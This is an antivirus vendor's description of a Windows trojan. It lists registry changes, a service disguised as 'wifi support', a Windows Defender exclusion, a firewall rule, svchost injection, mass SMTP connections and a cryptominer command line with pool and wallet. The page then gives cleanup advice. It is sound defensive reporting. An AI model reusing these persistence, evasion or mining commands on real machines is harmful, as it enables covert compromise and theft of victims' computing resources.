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Trojan.Siggen14.52483

Added to the Dr.Web virus database: 2021-08-03

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\lafzsohd] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\lafzsohd] 'ImagePath' = '%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\lafzsohd] 'ImagePath' = '%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe'
Creates the following services
  • 'lafzsohd' %WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d"<Full path to file>"
  • 'lafzsohd' %WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\lafzsohd' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\ernsscwt.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\ernsscwt.exe to %WINDIR%\syswow64\lafzsohd\ernsscwt.exe
Deletes itself.
Network activity
Connects to
  • 'mi##########m.mail.protection.outlook.com':25
  • 'sm##.sfh.med.sa':25
  • 'mx#######003.gslb.pphosted.com':25
  • 'ip.####y.hacklix.com':443
  • 'mx#######a02.gslb.pphosted.com':25
  • 'mx#######401.gslb.pphosted.com':25
  • 'ma#######xcite.roc2.bluetie.com':25
  • 'mx#######f01.gslb.pphosted.com':25
  • 'mx#######702.gslb.pphosted.com':25
  • 'mx.####.pelconsip.aruba.it':25
  • 'au#####ver.mojang.com':443
  • 'mx#.free.fr':25
  • 'sm####n.libero.it':25
  • 'mx#######102.gslb.pphosted.com':25
  • 'mx##.##il.icloud.com':25
  • 'sm####.laposte.net':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mx#######b01.gslb.pphosted.com':25
  • 'mx##.#mig.gmx.net':25
  • 'mx###02.web.de':25
  • 'mx#######002.gslb.pphosted.com':25
  • 'ma##.mkcorp.com':25
  • 'mx##.mail.com':25
  • '20#.#38.180.112':25
  • 'mx.##s.untd.com':25
  • 'mx#.####te.mail2world.com':25
  • 'mx#.#angia.biz':25
  • 'mx#.vtx.ch':25
  • 'in.###.trendmicro.com':25
  • 'ma##.b-io.co':25
  • 'alt1.aspmx.l.google.com':25
  • 'mx#######b02.gslb.pphosted.com':25
  • 'mx#######607.gslb.pphosted.com':25
  • 'mx######1cb01.pphosted.com':25
  • 'ma####elay.cuny.edu':25
  • 'ma##.gapd.es':25
  • 'mx#######301.gslb.pphosted.com':25
  • 'mx#######f02.gslb.pphosted.com':25
  • 'ff######x-vip1.prodigy.net':25
  • 'mx#######e01.gslb.pphosted.com':25
  • 'mx#######e02.gslb.pphosted.com':25
  • 'ma####.scppool.com':25
  • 'in###gram.com':443
  • 'pa####x.above.com':25
  • 'ma######.safrangroup.com':25
  • 'cx#.##.#.cloudfilter.net':25
  • 'mx.##.##mail.iss.as9143.net':25
  • 'li######.#lc.protection.outlook.com':25
  • 'mx##.###us-vadesecure.net':25
  • 'mx#######c01.gslb.pphosted.com':25
  • 'mx#######501.gslb.pphosted.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'mx#.qq.com':25
  • 'mx#######a01.gslb.pphosted.com':25
  • 'mx#######001.gslb.pphosted.com':25
  • 'mx#.#ate.com':25
  • 'mx#######801.gslb.pphosted.com':25
  • 'fa###ool.xyz':10060
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'gmail-smtp-in.l.google.com':25
  • 'alt1.gmail-smtp-in.l.google.com':25
  • '19#.#6.146.40':486
  • '19#.#1.3.129':443
  • 'mx#######503.gslb.pphosted.com':25
  • 'mx#######101.gslb.pphosted.com':25
  • 'sm###in.sfr.fr':25
  • 'mx#######601.gslb.pphosted.com':25
  • 'ma##.#ailcatch.com':25
  • 'mx###.##stedmxserver.com':25
  • 'mx#######c04.gslb.pphosted.com':25
  • 'mx#.#omcast.net':25
  • 'am####03.aig.com':25
  • 'ms#####.##c.protection.outlook.com':25
  • 'ma##.goctii.com':25
  • 'ASPMX.L.GOOGLE.com':25
  • 'mx.##timum.net':25
  • 'google.com':80
  • '5.##.37.41':430
  • '19#.#62.246.7':430
  • '95.##6.195.92':430
  • '19#.#6.146.41':430
  • '19#.#6.146.43':430
  • '19#.#6.146.42':430
  • 'eu#.###.#rotection.outlook.com':25
  • 'mx#######901.gslb.pphosted.com':25
  • 'mx#######d01.gslb.pphosted.com':25
  • 'ma##.#-email.net':25
  • 'mt###.uoa.gr':25
TCP
HTTP GET requests
  • http://www.google.com/
Other
  • '19#.#1.3.129':443
  • 'alt4.gmail-smtp-in.l.google.com':25
  • 'mx###.##stedmxserver.com':25
  • 'ma##.#ailcatch.com':25
  • 'ma##.#-email.net':25
  • 'in###gram.com':443
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mx.##timum.net':25
  • 'ms#####.##c.protection.outlook.com':25
  • 'sm####.laposte.net':25
  • 'ip.####y.hacklix.com':443
  • 'sm##.sfh.med.sa':25
  • 'ff######x-vip1.prodigy.net':25
  • 'ma##.gapd.es':25
  • 'in.###.trendmicro.com':25
  • 'mx#.#angia.biz':25
  • 'au#####ver.mojang.com':443
  • 'mx#######f01.gslb.pphosted.com':25
  • 'ASPMX.L.GOOGLE.com':25
  • '19#.#62.246.7':430
  • '95.##6.195.92':430
  • 'alt1.gmail-smtp-in.l.google.com':25
  • 'gmail-smtp-in.l.google.com':25
  • 'fa###ool.xyz':10060
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx#.qq.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • '19#.#6.146.40':486
  • 'alt2.gmail-smtp-in.l.google.com':25
  • 'li######.#lc.protection.outlook.com':25
  • 'mx##.###us-vadesecure.net':25
  • 'eu#.###.#rotection.outlook.com':25
  • '19#.#6.146.42':430
  • '19#.#6.146.43':430
  • '5.##.37.41':430
  • '19#.#6.146.41':430
  • 'alt3.gmail-smtp-in.l.google.com':25
  • 'mx#.vtx.ch':25
  • '20#.#38.180.112':25
UDP
  • DNS ASK mi##########m.mail.protection.outlook.com
  • DNS ASK nu.com
  • DNS ASK mx#######401.gslb.pphosted.com
  • DNS ASK gs#.com
  • DNS ASK mx#######a02.gslb.pphosted.com
  • DNS ASK ip.####y.hacklix.com
  • DNS ASK co######bankeratlanta.com
  • DNS ASK sp#.#ony.com
  • DNS ASK sc##us.com
  • DNS ASK ex##te.com
  • DNS ASK ma#######xcite.roc2.bluetie.com
  • DNS ASK mt#.com
  • DNS ASK is####ul.ddb.com
  • DNS ASK sf#.med.sa
  • DNS ASK sm##.sfh.med.sa
  • DNS ASK co###e.roma.it
  • DNS ASK mx.####.pelconsip.aruba.it
  • DNS ASK pl###tsox.com
  • DNS ASK gm#.at
  • DNS ASK pm##a.com
  • DNS ASK we###fargo.com
  • DNS ASK mx#######003.gslb.pphosted.com
  • DNS ASK mk##rp.com
  • DNS ASK mx#######002.gslb.pphosted.com
  • DNS ASK ch####rcab-det.com
  • DNS ASK mx##.##il.icloud.com
  • DNS ASK jo###eere.com
  • DNS ASK ap#####biosystems.com
  • DNS ASK mx#######102.gslb.pphosted.com
  • DNS ASK li##ro.it
  • DNS ASK sm####n.libero.it
  • DNS ASK al###adsl.fr
  • DNS ASK au#####ver.mojang.com
  • DNS ASK sm####.laposte.net
  • DNS ASK mx#######f01.gslb.pphosted.com
  • DNS ASK mx#.free.fr
  • DNS ASK pi####lyingj.com
  • DNS ASK ui##ho.edu
  • DNS ASK th###e.com.au
  • DNS ASK wa##r.co.nz
  • DNS ASK fa####oncapital.com
  • DNS ASK sa##.org
  • DNS ASK mx#######702.gslb.pphosted.com
  • DNS ASK ya##o.it
  • DNS ASK we#.de
  • DNS ASK mx###02.web.de
  • DNS ASK sh###erfly.com
  • DNS ASK ma##.mkcorp.com
  • DNS ASK ke###metal.com
  • DNS ASK an##og.com
  • DNS ASK ni##.net
  • DNS ASK alt1.aspmx.l.google.com
  • DNS ASK hm##.org
  • DNS ASK ma##.b-io.co
  • DNS ASK at##ods.com
  • DNS ASK in.###.trendmicro.com
  • DNS ASK mx#######607.gslb.pphosted.com
  • DNS ASK li#e.it
  • DNS ASK mx#######b02.gslb.pphosted.com
  • DNS ASK ee#.ch
  • DNS ASK sh##tel.net
  • DNS ASK mx#.#angia.biz
  • DNS ASK ex##te.it
  • DNS ASK mx#.####te.mail2world.com
  • DNS ASK ju##.com
  • DNS ASK mx.##s.untd.com
  • DNS ASK pa####x.above.com
  • DNS ASK li#e.nl
  • DNS ASK rc#.com
  • DNS ASK mx#.vtx.ch
  • DNS ASK mx######1cb01.pphosted.com
  • DNS ASK in###mmicro.com
  • DNS ASK mx##.mail.com
  • DNS ASK ma####.scppool.com
  • DNS ASK fo#.com
  • DNS ASK ap.#ony.com
  • DNS ASK va###ard.com.au
  • DNS ASK mx#######e02.gslb.pphosted.com
  • DNS ASK re##m.com
  • DNS ASK mx#######e01.gslb.pphosted.com
  • DNS ASK am###tech.net
  • DNS ASK ff######x-vip1.prodigy.net
  • DNS ASK sc##ool.com
  • DNS ASK ch###-tech.com
  • DNS ASK do###ods.com
  • DNS ASK mx#######301.gslb.pphosted.com
  • DNS ASK ga#d.es
  • DNS ASK ma##.gapd.es
  • DNS ASK wt###tebk.com
  • DNS ASK ma##.cuny.edu
  • DNS ASK ma####elay.cuny.edu
  • DNS ASK am###trade.com
  • DNS ASK la##ste.net
  • DNS ASK mx#######f02.gslb.pphosted.com
  • DNS ASK me.com
  • DNS ASK ya##o.de
  • DNS ASK no###.teradyne.com
  • DNS ASK gm#.net
  • DNS ASK rc#.it
  • DNS ASK mx#######501.gslb.pphosted.com
  • DNS ASK gm##l.com
  • DNS ASK alt3.gmail-smtp-in.l.google.com
  • DNS ASK cb##.com
  • DNS ASK mx#######c01.gslb.pphosted.com
  • DNS ASK ad##s12.org
  • DNS ASK ho##ail.com
  • DNS ASK qq.com
  • DNS ASK alt2.gmail-smtp-in.l.google.com
  • DNS ASK ea###link.net
  • DNS ASK nt###rld.com
  • DNS ASK mx.##.##mail.iss.as9143.net
  • DNS ASK ce###ese.com
  • DNS ASK mx#######101.gslb.pphosted.com
  • DNS ASK ta###tbase.com
  • DNS ASK mx#######001.gslb.pphosted.com
  • DNS ASK ym##l.com
  • DNS ASK mx##.###us-vadesecure.net
  • DNS ASK li##.com
  • DNS ASK li######.#lc.protection.outlook.com
  • DNS ASK mx#.qq.com
  • DNS ASK mx#######a01.gslb.pphosted.com
  • DNS ASK sf#.fr
  • DNS ASK ya##o.com
  • DNS ASK alt1.gmail-smtp-in.l.google.com
  • DNS ASK gmail-smtp-in.l.google.com
  • DNS ASK 19#.###.#11.95.bl.spamcop.net
  • DNS ASK mt##.##0.yahoodns.net
  • DNS ASK ve##zon.net
  • DNS ASK 19#.###.211.95.in-addr.arpa
  • DNS ASK mx####.##il.gm0.yahoodns.net
  • DNS ASK 19#.###.#11.95.zen.spamhaus.org
  • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
  • DNS ASK fa###ool.xyz
  • DNS ASK az##n.co.uk
  • DNS ASK 19#.###.#11.95.cbl.abuseat.org
  • DNS ASK mx#######801.gslb.pphosted.com
  • DNS ASK fs#.edu
  • DNS ASK mx#######503.gslb.pphosted.com
  • DNS ASK ya##o.co.nz
  • DNS ASK na##.com
  • DNS ASK mx#.#ate.com
  • DNS ASK ny#.edu
  • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
  • DNS ASK ph##.uoa.gr
  • DNS ASK ar###cmail.com
  • DNS ASK sm###in.sfr.fr
  • DNS ASK mx#######d01.gslb.pphosted.com
  • DNS ASK mx###.##stedmxserver.com
  • DNS ASK go###email.com
  • DNS ASK ma###atch.com
  • DNS ASK ma##.#ailcatch.com
  • DNS ASK co#.net
  • DNS ASK cx#.##.#.cloudfilter.net
  • DNS ASK ho##op.com
  • DNS ASK th####nreuters.com
  • DNS ASK ma##.#-email.net
  • DNS ASK sb###oba.net
  • DNS ASK ma######.safrangroup.com
  • DNS ASK gm#.de
  • DNS ASK mx##.#mig.gmx.net
  • DNS ASK be##buy.com
  • DNS ASK mx#######b01.gslb.pphosted.com
  • DNS ASK ya##o.fr
  • DNS ASK mx###.##il.am0.yahoodns.net
  • DNS ASK td#.com
  • DNS ASK ai###lle.com
  • DNS ASK ho#########.olc.protection.outlook.com
  • DNS ASK in###gram.com
  • DNS ASK mx#######c04.gslb.pphosted.com
  • DNS ASK mx#.#omcast.net
  • DNS ASK co##ast.net
  • DNS ASK me###t.ucla.edu
  • DNS ASK mx#######901.gslb.pphosted.com
  • DNS ASK ho##ail.it
  • DNS ASK eu#.###.#rotection.outlook.com
  • DNS ASK op###line.net
  • DNS ASK google.com
  • DNS ASK mx.##timum.net
  • DNS ASK br#####nk12students.com
  • DNS ASK st##art.com
  • DNS ASK ASPMX.L.GOOGLE.com
  • DNS ASK ma##.goctii.com
  • DNS ASK ms#.com
  • DNS ASK ms#####.##c.protection.outlook.com
  • DNS ASK wj#.com
  • DNS ASK co##iere.it
  • DNS ASK alt4.gmail-smtp-in.l.google.com
  • DNS ASK ai#.com
  • DNS ASK am####03.aig.com
  • DNS ASK ao#.com
  • DNS ASK ce#####transportint.com
  • DNS ASK ch#####schoolsusa.com
  • DNS ASK mx#######601.gslb.pphosted.com
  • DNS ASK mt###.uoa.gr
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\lafzsohd\ernsscwt.exe' /d"<Full path to file>"
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lafzsohd\' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ernsscwt.exe" %WINDIR%\SysWOW64\lafzsohd\' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' create lafzsohd binPath= "%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' description lafzsohd "wifi internet conection"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' start lafzsohd' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lafzsohd\
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ernsscwt.exe" %WINDIR%\SysWOW64\lafzsohd\
  • '%WINDIR%\syswow64\sc.exe' create lafzsohd binPath= "%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
  • '%WINDIR%\syswow64\sc.exe' description lafzsohd "wifi internet conection"
  • '%WINDIR%\syswow64\sc.exe' start lafzsohd
  • '%WINDIR%\syswow64\svchost.exe'
  • '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
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